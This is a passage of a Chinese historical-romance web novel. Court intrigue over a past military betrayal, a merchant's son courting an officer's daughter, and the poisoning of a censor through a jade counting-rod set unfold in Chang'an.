他不提这个还好,方一提起,怀里的美人眼底盈了泪,语气又是委屈又是愤愤,“世子还问?!我是什么身份,人家又是什么身份,人家哪里肯理我啊?我好不容易引着人到了地方,人家连同我说句话都不愿意,我又怎么问?” 一张巴掌大的小脸抬起来,泪珠将坠未坠地挂在脸上,只让人心底都软了。 那鲁王世子也是个怜香惜玉的人,脸上露出些疼惜之色,抬手轻轻拭过她颊上的泪,温声哄了两句“你受委屈了”,但口中却仍是坚持,“这事紧要。你得问出来,他们在阳曲看到了什么、听到了什么、又拿到什么……” 李奾哼气,“你紧要?又同我有什么关系?” 贺文骞手臂一圈,就将人带入怀中,“你我又有什么分别?你可是我未来侧妃。” “侧妃?” 贺文骞倒也没恼,而是笑着这掐了人了一把脸,“心肝儿,你还打算当世子妃?我倒是想,那石家恐怕是不会答应。” “不是世子妃。”李奾拿眼波横他,“我想当太子妃。” 这话落下,车厢内一静,贺文骞收起那调笑的不正经,低头看过去。 怀中美人的眼睛依然透亮清澈,仿佛汩汩流淌的林间清泉,可偏偏这泉水中是毫不遮掩的野心。 贺文骞抬手,扼住了那一截雪白的脖颈,纤细易折,仿佛稍微用点力就能拗断。 李奾却不闪不避地和他对视。 贺文骞突然急促地喘了两下,掐着她的脖子吻了上去。 顷刻间,狭小的车厢里喘.息声急促,衣料摩挲的动静和车厢壁的摇晃交织,赶着的车夫动作一顿,驱马一转往城郊驶去。 …… 等一切终了,贺文骞指.尖摩挲李奾脖子上的掐痕,笑得阴鸷,“敢说这话,你还真不怕掉脑袋。” 李奾娇娆一笑,眉眼间俱是风情,“世子舍得杀我吗?” 贺文骞又被她勾得又是呼吸一滞。 但到底平复了呼吸,交代起正事来,“阳曲的事很要紧,从苏温知这边很难下手,只能从阳嘉郡主身上来。不管你用什么法子,都得把事情问清楚。” 李奾却是眼波微转,“我瞧着世子还落了一个人?这阳曲之乱,最后可还有个大功臣。” 贺文骞拧眉:“你是说谢怀朔?但是谢家人……” 他像是想起了什么,脸色不太好看。 李奾:“我听闻,谢将军回京之后第一件事便是求娶阳嘉郡主。这事在长安闹得沸沸扬扬,夺妻之仇不共戴天,那谢怀朔真的能忍住什么都不做?世子既然觉得那苏温知碍事,那干脆让他没机会开口便是,左右去阳曲的非只他一人,等他死了,事情怎样但凭活人一张嘴罢了。” 贺文骞被她说得目露心动之色,但却不知怎么,仍旧有些顾忌。 “……此事还得斟酌,”他沉默了半天,开口,“我去信问问父亲。不能重蹈当年赵王覆辙。” 在贺文骞看不见的地方,李奾悄悄翻了个白眼。 但再抬头的时候,已经是满脸柔情蜜意,“妾听世子的。” 第24章 富贵不还乡,如锦衣夜行。 虽非本意,但谢定此遭回到颍安,大有相同的道理,昔年冷脸相对的族人个个卑躬屈膝,连只是不知事时来过的谢兰君,身边都围了好多姊妹。 谢定本以为自己会觉得快意,但是此刻看这些人嘴脸,却只觉得无聊透顶,他连和他们翻翻当年旧账的心思都没了,只想赶紧给爹娘修完墓地,离开这个污糟地方。 兄妹俩在谢父谢母碑前祭拜的时候,一个老者拄着杖走了。 谢定看见了来人,倒是难得执起了晚辈礼,主动上前去迎,“族长。” 若不是有这位族长在,谢定这次回乡,说不定真能干出把宗祠拆了的混账事。 老者摆摆手,示意谢定不必多礼,又让一旁的谢兰君接过手杖,在兄妹俩的搀扶下,向着谢家父母坟前祭了一杯酒,感慨:“看着你们兄妹俩如此,你爹当年果真没有选错。” 谢定微怔。 选错? 他爹当年“选”了什么吗? 族长祭拜完便回去了,但这仿佛随口一提的一句话萦绕在心头,谢定一直到回京的路上都忍不住思索。 * 长安,苏府。 岑篱那日醉后醒来,发现她和苏之仪同榻而眠了一.夜。苏之仪没干出什么趁人之危的事,据寻夏的说法,是她拉着人不放手,苏之仪才不得不留下。 若是正经夫妻,此事自然没什么紧要的。 但两人之间关系实在尴尬,醒来之后,两两相顾无言,反倒是比之前还疏远了些。 五铢虽然人在外院,但对府中发生了什么却清楚得很。 他忍不住一阵唉声叹气,“郎君你看,你早喝了那汤不就什么事都没有了?” 这都是第二次了吧,被郡主从房里赶出来。 苏之仪能在朝堂上面不改色舌战群儒,但这会儿对着家中小厮如此发言,也忍不住眼皮抽动,压着声斥道:“闭嘴。” 五铢:“……” 自家郎君向来从容镇定,连被圣上免职在家都不放在心上,这会儿却因这点小事而变了面色。 他心底对那个猜测越发肯定,不由痛心疾首: “郎君你可不能讳疾忌医啊!” 苏之仪被噎得默然了好一会儿,他头一次对一个人生出这般森森杀意来。 到底念着从小长大的情分,苏之仪选择眼不见为净,“我去书房。” 五铢还不知道自己死里逃生,看苏之仪这回避的做法,忍不住在心里嘀咕:看吧!这还不是心虚是什么?! 苏之仪匆匆到了书房,却发现岑篱在里面。 接连几日刻意避开见面的两人甫一见到,彼此都有点尴尬。 岑篱不自在地把手往后撑,按在书匮上,“前日下雨,我怕这里的书简受潮,过来看看。” 苏之仪还不待回答,先见那书匮的柜门被压得前后开合。 放在最上方的一个匣子本来就探出半个头来,这会儿随着柜门的移动往下掉落。 “小心!” 话落的同时,那匣子已经从高处砸落下来,发出重重的一声响。 外匣摔裂在一旁,里面的东西也滚落出来,是一卷丝帛作帙裹着的竹简。 再想到它被单独放在匣中,置于柜子的最上层…… 岑篱连忙,“对不住。” 她说着已然倾身去捡。 落下去指.尖和另一个人的交叠,两个人又都同时收回手去。 苏之仪低声,“不是什么要紧的东西,你没伤到吧?” 岑篱当然不信。 不是要紧的东西会单独放?还用丝帛包着? “听动静,里面的简片似乎是散了,先打开看看能不能再编起来,若是孤本便不好说了。” 打开帛帙,拿出散开的简片,里面竟是一卷九章律。 应当放得时间很久了,连简片的颜色都比旁边书架上沉闷很多,而且誊抄的人……像是才习字没多久,腕力不够,连带着笔画也虚浮,看起来似乎是想仿照何人的笔势,但写出来的字更近似于幼童的描样子。 岑篱看着这莫名眼熟的字迹陷入沉思。 ……好像在哪里见过? “郡主当年赠我的这卷九章律,之仪可算不负所托?” 岑篱迷惑抬头。 看清了那眼底的疑问,苏之仪便是早有所觉,也忍不住心下一空。 他自嘲地轻笑,很快便敛下表情,温声:“这是当年郡主送我的书卷。只不过些微小事,郡主约莫并未放在心上,忘了也是有的。” 岑篱这才想起这字迹为何这么眼熟了,是她幼年时的字迹。 她摇头解释:“我是不记得了,但不是因为这个……正崇二年岁末,我大病了一场,入宫之前的很多事都不记得了。” 这次换苏之仪愣住了。 正崇二年,京中大疫,时任京兆尹的岑经鹤与楚元公主都病逝在这场疫病里,岑篱也是那时候被接入宫中。 岑篱很快回过神来,笑:“大母说,不记得也是好事。” 不记得便不会想家了。 苏之仪沉默了许久,“令昭要去看看吗?就在西市里。今日无事,也正好出去走走。” 岑篱迟疑着点头。 * 长安城外。 谢定没骑马,也没正经乘马车,而是盘腿坐在马车的车盖上,一会儿仰头看天一会儿遥望前路,沉思着不知道在想什么。 回京的一路上,他越想越是奇怪。 怎么是“选”呢?他爹到底选了什么? 本来是些微的疑惑,经这一路的发酵也变得抓心挠肺起来,他现在都打马恨不得回到颍安,去找谢族长问个清楚。 谢定刚这么想着,就见旁边那辆马车上,谢兰君掀起了车帘。 谢定立刻偏头看过去:“怎么了?” 谢兰君:“……” 确认兄长有没有想不开,做出什么傻事来。 看着谢定像是一切如常的样子,谢兰君也半松了口气,随口提了个话题,“京中的事需要人打理,平叔没能跟着一块儿去颍安,我们竟也没带回些乡礼什么的。” 兄妹俩在颍安都呆得心烦,全忘了这一茬。 “小妹说的是。”谢定也只思索了片刻,就展颜,“这个倒是无妨,我去西市买坛上酝来,就当给平叔赔罪,他不会计较的。” 说到便做。 谢定话还没落,人已经从车盖上翻了下来,稳稳地落在一旁的马背上,“小妹你先带人回去,我直接去西市。若是赶得及,还能同你们一同进家门。” 谢兰君还没来得及拦,就见眼前只剩一道绝尘而去的身影。 她忍不住摇头,哭笑不得之余又隐隐放心。 大兄看起来不像是有什么事的样子。 透过车帘看到这一幕,刘氏感慨,“怀朔这性子,是该找个年纪大些稳重的。兰君你放心,等这一回京,我必定给你兄长好好相看。” 谢兰君:“……有劳叔母了。” 而另一边,谢定已经快马赶到西市。 坊市内不好纵马,牵着马走还不如人快,他干脆把马拴在坊市门口,给外面守着小童一枚钱,交由他看管,自己则是快步往酒肆过去。 远远看见酒肆的旗帜,便冲着外面的伙计朗声,“来坛上酝!” 伙计惊奇:“这不是谢将军吗?” 谢定也不是第一次来这酒肆了,笑着调侃,“怎么还生疏起来了?” 鲍二哈哈一笑,“可不敢轻慢了,那日章台街上我也去看了。谢将军打马游街好生威风!掌柜出去说一句‘谢将军常来我家酒肆’,连带着肆中生意都好了许多。将军许久不露面,我还以为你日后再不来了呢?” “怎会不来?不过前些时日回了趟族地,一时没抽出空来……” 谢定正解释着,鲍二的目光却不由地往街头另一边看去,那边相携走来两人,其中女子发髻盘起,是已婚妇人发式。 发髻虽变,模样却没有,鲍二立刻认出了这位常同谢郎君一块来的岑小娘子。 谢定随着鲍二的目光看去,神情当即一滞。 他一路思索谢族长的话,便是想要以此占据心神,不想想起别的事,却不防一回京便看见了。 鲍二并不知晓岑篱身份,而谢定求娶阳嘉郡主那事虽说成了好一阵儿茶余饭后的流言蜚语,但也只在公卿之间流传,鲍二一个酒肆伙计是无从得知,但不妨碍他从别的侧面猜到些内情。 他抬手拍了拍谢定的肩膀:“这父母之言媒妁之命,你出征这一去没个音讯,婚事也不由得岑娘子。” 谢定没说话,他只是想起了韩培在匈奴王帐中的话。 那时的他是如何调侃韩元修的?再娶新妇便是。 功成名就,迎娶佳人。可心上的佳人早已另嫁…… 倒是那鲍二看着旁边苏之仪,若有所思地小声:“榴月前后,岑娘子好像同这人来过。” 算算日子,正是他在大漠中渺无音讯的那日子。 谢定脑子里一嗡,兰君的话在耳边响起,和韩元修的声音彼此重叠—— ‘一连数月渺无音信,兵败消息传回长安,人也生不见人死不见尸,你还指望着人家姑娘等你提亲?’‘大兄你……战死的消息传来,岑姐姐悲痛欲绝,是苏廷尉开解安慰,才让岑姐姐颇得宽慰。’ ——别说了!别再说了!! 眼见着谢定脸色难看,鲍二也止了声。 看着那边渐渐走近的两个人,鲍二犹豫了一下,“你若是不想见,不如去里面坐坐?” 但二楼临窗而望,却只是将下方的一切更清楚地收到了眼底。 第25章 岑篱和苏之仪走在西市街面上。 她对这里并不陌生,但是能想起却只有近几年的记忆,并无孩提时的画面。 绕过杂耍和货郎叫卖的吆喝声,苏之仪驻足在坊市的一隅,解释:“这些年长安的坊市繁华了许多,连这里都开了不少铺子,不过当年这地方还很荒僻。” 岑篱仍旧什么都没想起来。 这地方她来过也不止一次,若要能想便早就想起来了。 这会儿听得苏之仪如此说,她也只能点头应和,眼底却不自觉露出些空茫的之色:不记得……真的是好事吗? 苏之仪打量着岑篱的神色,犹豫了片刻低声,“这坊市里,常有些孩子踅摸些零活讨点赏钱,但这些个孩子彼此之间也有高低之分。我幼时生得瘦弱,在里头颇不受待见,有一次拿得赏钱多了,便被堵到了这里。” 岑篱意外,“治粟内史秩二千石,应当……” 不,正崇初年,苏父未官至治粟内史。但那也是朝中官员,家中不至于难过到这般地步。 “我是父亲收养的嗣子,”苏之仪解释了这么一句,又莞尔,“……还多亏了郡主的那卷九章律,让苏内史在挑选嗣子时,选中了我这个远方族亲。” 岑篱还没想到,原来两人之间有一段这么早的因缘。 或许是精神骤然放松的缘故,岑篱注视着眼前街巷,眼前隐隐浮现另一个画面。 比现在更荒凉的巷子里,有一个瘦弱的孩童被更大些的孩子团团围住。 画面陌生又隔阂,岑篱不确定那是自己的记忆,还是根据苏之仪的话想象的画面。 但她确实低声轻喃出了当年的话,“贼杀人、斗而杀人,弃市。斗伤人,而以伤辜二旬中死,为杀人[1]……” 苏之仪倏地抬头。 岑篱却还发着怔,由那个画面伊始,记忆沉到更深的深处,她像是沿着旧日的街道走回家中,口中不由呢喃:“我想起来了,我好像回去之后将这事同爹娘说了。” 苏之仪心底微动。 他稳住自己的情绪,轻声问:“公主殿下与岑公是如何说的?” “娘只是笑,指着爹哈哈大笑。爹……他说‘年未满八岁,八十以上,非手杀人,皆不坐[2]’,问我问过他们年岁没?” 苏之仪笑了:“约莫是未满的。” 他也未想到,自己居然能这般平静地调侃起了当年旧事。 而这温情融融的一幕落到酒肆楼上人的眼中,只觉刺目要命,像是有什么锐器生生地扎进心口,把五脏六腑都搅了碎。谢定端着碗灌了一口酒下肚,烧灼的感觉一直从喉间烫到了胃壁,腹部那翻涌作呕的抽痛却似乎稍缓,他不由再次端起酒碗。 下方二人对这注视一无所觉。 两人略微平复过情绪,走出了这巷子,但没走出几步,岑篱轻轻“咦”了一声。 倒不是看见了酒肆二楼的谢定,而是遇到了另一个熟人,前几日秋禊上遇到的李大娘子。那日秋禊多亏对方照拂,岑篱正想要上前打个招呼,但是走近几步,却脚下微顿。 苏之仪:“怎么了?” 岑篱轻轻摇头,“再等一会儿瞧瞧。” 李妢这会儿的神情可不像是来采买东西的。 正这么想着,那工坊铺子铺里出来了一个年轻的郎君,看模样像是这铺里的匠作。两人交谈了几句,那年轻匠作取了一副算筹出来。 别管是朝中治粟还是府内份例,这其中账务全凭算筹计数。 用的人多了,连着算筹也讲究起来,木的铁的金的玉的,好似只要这计数的器物好一点,连家中的金银都会多一倍似的。 眼下这算筹料子却算不上多好,只是普通漆木,但细看之下却颇有玄机,阳光下一晃,细碎的金粉在上面闪着光。 李妢讶然,“这是?” 年轻匠作笑了笑,“大娘子说是只用漆木,我瞧着实在单调了点,赶巧有做别的留下的铜金粉,便在上漆的时候混了点。” 看李妢低头要找钱,他又忙忙摆手,“用不上的。只是些铜金粉,不值钱的,混在漆里好看些,大娘子莫要嫌我自作主张便好。” 岑篱远远看见,却看出了那算筹不单单是混了金粉那么简单。 边缘处细细打磨过,莹润得都显出玉的质感,筹身上雕的花纹,细密繁复却也不喧宾夺主,不知做算筹的人在上头花了多少心思。 岑府也有不少算筹,料子比这好的不知凡几,但要是做工,能和这媲美的却数得上了。再看那边目光对视,心思都不在算筹上的一对男女,个中缘由实在不难猜测。 岑篱没想到只是出来逛逛,竟能撞见这么一对有情.人。 正犹豫着要不要上前打扰,那边却生了变故。 铺子里走去一中年男人,看打扮是哪家高门里采买的管事,赶巧取的也是一个算筹。 是由一块通体莹润的碧玉雕成,这玉的水头极好,盈盈水光几乎要透玉而出,显然不可能是一家工坊铺子能有的料子,只是由铺子代为加工。 这管事本来微微颔首满意,抬眼却瞥见了另一边的漆木算筹。 他轻轻挑起了一边的眉,“吕掌柜莫不是敷衍我吧?这碧玉的下料都够你们赚一笔了,我家主人给工费也不吝啬,就这般做工?” 掌柜心底连连叫苦。 哪有什么“下料”?切割玉石定有损耗,偏这管事的要求苛刻得很,生怕他吞了好玉,他绞尽脑汁,才从那玉料上挖出了一副完整的算筹,根本没什么剩的。至于说工费,若不是这家主人实在不好得罪,他情愿不接这一单子,还不够折寿的。 想是如此想,掌柜脸上却堆起笑了,“戴管事这是哪里的话,您看看这雕画,我敢说放眼整个长安城,再也没第二家有这个手艺了。就连我自个儿,也不敢拍胸.脯保证能再刻出差不多水平的雕画。是贵人的吩咐,又是这般好料子,小老儿再精心不过了。” 管事却不答不应,只是拿眼往旁边一瞥。 这工坊铺面有限,没法像是大铺子一样在二楼设下女客雅间,只是扯了块布帘子在中间挡了,但也只是做了个意思,近处看不彼此的面容,但前头的货品却看得清楚。 管事这眼神示意下,吕掌柜也知道了缘由。 他在心底叹了一声“冤孽”,但面上却不露,只是狠狠的刮了儿子一眼。 吕小郎君也意识到自己惹了祸,颇有些不知所措。吕掌柜往旁边走了几步,低声冲着李妢解释了几句,将那算筹拿了过来。 管事本还以为对方是想拿这算筹当作补偿的礼物,一脸勉强地给了个纡尊的眼神。 但等看见了,却是一愣,两厢对比,一眼便看出来,那漆木的算筹比他这玉算筹小了一圈儿。 吕掌柜陪着笑,“不过小儿的练手之作,您瞧瞧他这糟蹋料子的作法!御史府上的料子是什么宝贝,我哪里敢让他糟蹋?” 管事细细打量了一会儿,果真见那算筹只是普通漆木,混的金粉也是假金。 脸上那不快的神色缓了不少,还称赞了一句,“吕掌柜这儿子,果真是青出于蓝而胜于蓝,怕是过不了多久便能承了这门手艺,掌柜的便可含饴弄孙、颐养天年了。” “管事这是哪里的话?这小子竟是些歪点子,手艺还有的磨呢。” 管事笑寒暄了两句,把除了定金之外的尾款要了个八折,这才把那件漆木算筹抛到了脑后,心满意足地往外面走去。 但是刚走出这铺子门口,脚下便僵住了。 看着避无可避的两个人,管事脚下往后缩了缩,最终还是硬着头皮,躬着身上前行礼:“下仆见过阳嘉郡主,见过……苏廷尉。” 岑篱本来是想着来帮忙解围来着,没想到这铺子掌柜已经自行摆脱了困局。 不过想想也是,这西市落在长安,不说遍地贵人,来往也有许多官员,若是没有点处世之法,工坊铺子早就干不下去了。 岑篱点了下头,问:“你是?” “回郡主,小人乃是御史中丞家一管事。” 岑篱总算明白了他为什么那么紧张了。 苏之仪赋闲在家便是因为侍御史的参奏弹劾,而后者正是御史中丞属下。以侍御史的职位弹劾当朝廷尉,若说背地里没有上司的首肯授意,可没人相信。 苏之仪也适时上前。 他并未掩饰自己刚才所见,直接开口:“这碧玉难得,拿来当贡品都使得了,御史中丞却舍得用来打一副算筹,当真是令人羡艳。” 管事抹着汗说不敢,岑篱却心中一动。 那阳曲的账册上没写名字,但每一桩都是一大笔钱,如此大笔的财富涌入,受贿人肯定要想法子花出去的。 苏之仪大概也是相同的想法,又状似闲聊地问起了这管事府中采买。 只不过仰赖于他前些时日在京中闯下的赫赫名声,这管事生怕那句话说错了连累主家,只一问三不知的含糊其辞。 铺子外这边还僵持着,铺子里面也有对话。 吕掌柜把算筹送了回去,对着李妢连连道歉,“那戴管事在这条街上是有名的难缠,遇见他采买,铺子里少不了要刮一层皮去,我等商贾工 匠实在得罪不起,便是贴着钱也盼着将人打发走,未曾想竟然牵连到李大娘子身上。” 李妢本就不是计较的性子,这会儿自是连声道:“不妨事。” 吕掌柜却坚持:“今日的事实在是委屈李大娘子了,还多亏了大娘子心善,不与我等计较,只是老朽身份低微,实在没什么可报答的。今日这铺子里的东西,大娘子若有看上的,随意取用,日后若有需要手艺的地方,老朽也在所不辞。” “掌柜言重了。只是些微小事,哪里用得着掌柜如此郑重。” 却是一旁吕小郎君开口劝,“大娘子看看吧。有喜欢的,便多拿两件。” 吕掌柜本想说的话一顿,忍不住闭了闭眼,不想看这糟心儿子。 是不是把你也送出去最好? 【作者有话说】 [1]《二年律令贼律》 [2]《周礼秋官司刺》 第26章 酒肆二楼,谢定旁边的一坛酒已经空了。 他抬了抬手,正想要招呼伙计,却见有人已经提了一坛酒上前,“这坛店里窖藏的佳酿,我请谢将军。” 谢定抬眼看过去,些微重影的画面映出一张不甚清晰的脸,有点眼熟。 还想着,对面已经主动开口,“将军回京之后,家中本该登门致歉,只是家父因我那不肖幼弟的事黯然神伤,竟忘了礼节。后来准备登门拜访时,将军却已回乡,今日能在此处相遇,也是一场缘分。” 谢定想起这人是谁了。栾都侯的长子,石茂通。 至于他说的道歉…… 被酒意醺染的脑子转了转,总算想起了那个已经被军法处置的洮中都尉,他好像姓石家。 事情过去了这么久,这会儿来假惺惺地作态了,说里头没鬼都没人相信。 谢定酒一下子醒了大半,面上却不显。 他冷嗤一声,仗着酒劲不客气地,“怎么?栾都侯都把手伸到了北征匈奴的大军里了,有什么可道歉的?是想再赔我一条命呢,还是后悔没把我弄死在那儿?” 长安城的人说话都习惯留着三分,石茂通还没见过这么不客气的,当即脸色微变,但也很快就稳下神情,“将军说笑了,那石峻不遵军法、罪有应得,父亲已经将他逐出石氏。此次对匈奴之战,还是多亏将军力挽狂澜,才没有让那罪人之过酿成滔天大祸……后援断尽、却带领麾下士卒绝处逢生,谢将军当真是承袭了谢公当年之勇。” 谢定却拧了下眉,“当年?” 他后援被断了洮中都尉暗中捣鬼,没听说他爹遇过这情况啊。 石茂通像是意外,“怎么?谢公没有同将军说吗?” 他这么问了一句又像是恍然,“也对,毕竟后来遇到那等事,谢公不愿细讲是应当的。” 谢定眼皮跳了跳,很烦这种说话藏一半的调调。 要说说不说就滚! 好在石茂通本就是为此而来,没有再卖关子的意思,很快就接下去,“正崇二年,谢公率军北征,是岁多灾,朝中对这次北征多有反对之声。后来京城遇疫,太常寺言此乃天象示警,不宜动兵戈。陛下急召谢公领兵回朝,谢公以边境情况力陈利弊,恳请陛下再宽限时日。然朝中却反对之声四起,当年的治粟内史更是一力主张,断了大军的兵粮,这才有了谢公不得不退守玉门关之事。” 谢定确实意外,他从未从父亲嘴里听说过这些事。 但此刻对面人不知怀了什么鬼胎,他只晃了片刻神就强行拽回了注意力,依旧是一副半醉的情态,看不出喜怒地,“当年这些旧事,石郎君倒是清楚。” 石茂通:“说来惭愧,我也只是常听父亲叹惋,若非当年治粟内史断了谢公军粮,谢公早就大败匈奴,边境百姓也不必受这十多年的侵扰……我父极少钦佩一人,但谢公带兵用兵之能却让父亲赞不绝口。军中无粮最易哗变,但谢公却稳住了大军,将匈奴拒与玉门关之外,如此大功,回朝却以战败论处,父亲每每谈及此事都不甚唏嘘,说是庸人误国,若非治粟内史之过,怎会令边患绵延十数年之久。” 这可不单是庸不庸人的问题,大军断粮,是冲着逼死人去的。 而当年的治粟内史是苏宏……苏之仪的父亲。 谢定霍然抬头,但还未及说话,就见楼梯口处上来一个人。 是谢定麾下的校尉韩培。 他明显是为找人而来,目光在屋内一巡,一眼就看见了谢定,紧接着注意到对侧的石茂通。 韩培不自觉拧眉。 他当机立断地快步赶上前,匆匆打断二人对话,“你可真让我好找!”不等对面石茂通说什么,他已经满脸歉意地开口,“我家将军喝醉了,不便多陪,告辞。今日的酒钱记在我账上。” 紧接着,不由分说地留下一把钱来,架起谢定就往外走。 谢定身体有一瞬的紧绷。但瞬息之间,不知想到了什么,强行放松下去,真的如同醉倒了一般,被韩培带了下去。 给人当了这么久的副手,真醉假醉还能分得清的。 韩培一出了酒肆就松了手,皱眉,“你怎么还和那姓石的聊上了?” 谢定不答反问:“你怎么来这了?” “你还好意思说,说来买坛酒,人没了个影儿。要不是我碰巧遇见,这会儿就是你妹子过来找你了。” 谢定这才恍然想起,自己是来买酒的。 韩培显然没把这事儿放在心上,又追着刚才的话题问:“我说那姓石的不是好东西,他找你干什么?” 谢定冷嗤,“他想把我当傻子。” ……可偏偏他还真的想当一回傻子。 目光投到了街巷口,那里的人早就不见了踪影,但那相视之间仿佛容不下他人的温情好像还在眼前残留着幻影。 沉默了片刻,谢定开口问:“正崇二年,我父亲北征匈奴的事,你知道多少?” “我能知道什么,那会儿我还没入军呢。”韩培犹豫了下,“不过我倒是知道个人,他肯定清楚当年的事,但就是不知道愿不愿意说。” “谁?” “屯骑校尉,李稷上。” 正是李妢李奾二人的父亲,李舂。 * 岑篱那日在工坊铺子外和李妢打了个照面。见苏之仪还堵着那戴管事套话,她倒是和后来出来李妢简单聊了几句。 第二日,岑篱便收到了李妢的邀约。 帖子上没说有什么事,只是邀人过府一叙,岑篱心下奇怪,但还是应邀去了。 李妢早就备好了点心酒食,作为主人家招待得倒是妥当,只是言谈之中,颇有些顾左右而言它的态度。 岑篱:“大娘子若是有事,不如直说?” 李妢兀地沉默了。 好一会儿,她才支吾着:“昨日在西市见到郡主,真是巧遇。不知郡主何时到的……又瞧见了多少。” 岑篱若有所悟,忍不住笑了,“我确实到了有一会儿,只是瞧着不便上前,便没去打扰……那吕小郎君确实一表人才,大娘子若有心,不如让校尉帮忙举荐。虽不能直入朝堂,做个胥吏还是使得的,待累功升迁,也是半只脚踏入朝堂了。” 李家确实不太可能把女儿嫁给一个工匠。 但若能得李父的照拂,那吕小郎君也不可能仅做一个工匠。 李妢却未有展颜之态,而是低声:“家父曾因为举荐之人险些酿成大祸,故而不再举荐他人。再者我与他也不过泛泛交集罢了,郡主误会了。” 岑篱不知道李舂到底因为举荐遇到了什么麻烦,以至于再不行举荐之事。 但是举荐别人,和举荐自己女婿还是不一样的,后者不管举不举荐都脱不了瓜葛,反倒没那么多担心了。 想是这么想,但别人家事不好置喙,岑篱干脆另想它法,“那参加太学考核呢?正崇初年时,朝中便改了法令。参加太学考核者,不再拘泥于太学生身份,凡良家子皆可入考。别的科目我不熟悉,但是律法一道,只要入试者明习法令、足以决疑,最差也能有个试胥吏的名额,之后如何,端看个人表现了。大娘子怎么看?” 李妢怔怔地发了好一会儿愣,像是没想过这事。 说是“良家子皆可入考”,但这长安城内能识字的又有几人呢?识字还能延请名师,研习典籍的便更少了,故而这法令虽改了,但事实上还是太学生入考居多。 李妢犹豫,“我不知他情不情愿。” 这 条路也不是每个人都愿意走的。 “大娘子不若去问问他?” 见李妢还是下不了决定的模样,岑篱干脆笑道:“我想起来了,前几日家里的香筒坏了,我昨日看着吕小郎君的手艺甚好,正想去那铺子里订一个,大娘子愿不愿意陪我走这一遭?若是去了还不好说出口,就当陪我挑香筒了。” 李妢:“……小女先行谢过郡主了。” * 这边岑李二人才刚刚出门,谢定便到了李家登门拜访。 马车擦身而过,而心里藏着事的谢定却没往旁边多看一眼,等着门房通禀回话,便匆匆入内。 李舂亲自出门迎接,谢定却并未拿乔,而是规规矩矩地行了晚辈礼节,“侄儿见过李校尉。” 李舂连忙去拦:“哪里敢当将军如此称呼?” 谢定却摇了摇头,坚持施完这一礼。 早年谢父被夺爵,谢定虽没了爵位继承,但却仍有勋贵子弟的待遇,在宫中任过御前宿卫,也正因为身处这皇权漩涡之中,才更觉人情冷暖。李舂虽然有当年险些被逐出谢父军中的旧事,但这些年明里暗里对谢定的照顾却不少。 待到入席之后,谢定也未多作寒暄,直奔主题:“实不相瞒,侄儿这次前来,是有一事相询。正崇二年,李叔随我父亲出征匈奴,家父在世时,提起此战总是含糊其辞,不愿多说。既然此乃家父一大心病,我为人子,总该承起父志,不知李叔能否告知我其中内情?” 谢定故意说得模糊,他眼见着随着他的话,李舂脸上的笑意渐渐退去。 这里头竟真有内情! 也意识到自己表情有异,李舂敛下神色,低头饮了一口酒,缓声,“你如今大败匈奴,也是承袭了你父亲的志向,谢公在世,也定当心怀甚慰,哪还有什么心病不心病的。” “李叔既然如此说,那我便也直接问了:当年我父战败,是因外患,还是内忧?” 李舂手指一颤,酒杯从掌心滑落。 不必他再回答,谢定已然知晓了答案。 第27章 李舂最后也只是道:“过去的事就让它过去吧,当年你父亲自请除爵,便是想让此事就此终了。既然如此,你又何必深究呢?” ……自请除爵? 谢定没想到会听到这样一句话。 看着李舂明显不想多说的样子,他心知再问也问不出什么来。但沉默片刻,他还是开口,“那当年治粟内史断了我父亲军粮,此事可否属实?” 李舂叹息着不答。 谢定却得到了那个想要的回答。 * 另一边,岑李二人已然到了西市。 一路上,李妢坐立不安,半点不见秋禊上照顾各家小娘子的游刃有余,左右手指搅动着,绕在指.尖的帕子都快被她撕了碎。还是岑篱开口问起了她和吕小郎君的事,这才引得李妢稍稍转开点注意力,救下了那条绣样精美的帕子。 岑篱从李妢口中得知了两人的相识。 这吕家的工坊铺子也在西市开了有几年了,价格公道,掌柜家的雕刻手艺好,专做算筹木梳香筒之类的小件,长安城里有些家资的人常来他家订做一些小物件,李妢也去过,但一开始两人也就是平常主客关系罢了。 “我以往去得不多,也就几回的。那日曲家退了亲——我也没见过那曲家郎君几回——只是一次两次的、次次如此,我便忍不住想,是不是真的如他们说的‘我命格克夫、不宜嫁娶’,我不敢在家里表露,怕爹娘看见了忧心,便寻了个由头出门。却也没什么去处,只在西市上闲逛,碰巧经过了吕家工坊铺子……那日掌柜有事,是吕郎君看店,店里又没什么人。见是熟客,他便招呼了几句,又说我瞧着心情不佳,问是发生了何事……” “我那日也是昏了头,竟然把事情同他说了。我本来开口便后悔了,结果他瞧着比我还慌的样子,我反倒是静下来了。他又请我进内堂坐坐,我便去了。”李妢顿了顿,像是忍不住笑,“……哪有他那般待客的?请人进去后也不说话,上了杯水之后,又自顾自地做木工活。不过我那会儿也不想听别人说什么,有些话淤在心里难受,便一股脑的说了,说完之后人都轻快了许多,临到要走了,他那木工活也终于做完了——” 李妢没说那木工做的是什么,只是借着挽发的动作,不自在地抬了抬手臂,露出了腕间的一根红绳,绳子上穿着一个木雕的兔子,活灵活现的。 岑篱意会。 想来,这便是吕郎君那日的木工活了。 “他说……‘大娘子这般好的人,怎么会命格不好?定然是外面的鬼祟见不得好人才沾染上来,桃木辟邪,正好可以去去秽气’。” 像是极不好意思似的,她说手上又不自觉得搅起了那方帕子。 岑篱分明看见,那帕子上绣着一个与木雕极相似的白兔,也不知是绣帕子的人照着木雕绣的,还是那做雕刻的人照着帕子雕的。不过,于两人而言,兴许没什么差别。 把这些事情说完,李妢像是解下了心头的重担,肉眼可见地放松了许多。 待到马车停.下,她像是下了什么决定。 但当两人下了马车之后,却没看见开门待客的工坊铺子,更没有铺子的掌柜和年轻郎君。铺子的大门上木条封住钉死,数个皂衣小吏在这附近把守,驱赶着周围或是上前询问或是来看热闹的人。 岑李二人都不明所以,还是岑篱亮明了身份,才问清楚了事情的缘由。 御史中丞昨夜暴死家中,经仵作验查,乃是中毒而死,被下毒的器具正是一套玉算筹,出自这吕家铺子。 吕氏父子一大早就被带走了,这间工坊铺子也被封了。 听完那皂吏的解释,李妢的脸上渐渐失去了血色。 “不、不会的,吕掌柜是厚道人,莫说朝廷大员,便是普通乡邻,他也从不与人红脸,怎会和毒案扯上关系?”像是想起什么,她抓住了岑篱的手,“请郡主带我去见苏廷尉!” 御史中丞乃是朝中要员,他无故暴死,案子自然该是廷尉的。 但苏之仪如今虽然还挂着廷尉的职务,却只是赋闲在家,这案子交不到他手上。 不过李妢这会显然想不到这么多,她像是抓住救命稻草一样,死死抓住岑篱的手不松。 岑篱却觉得这事情没那么简单。 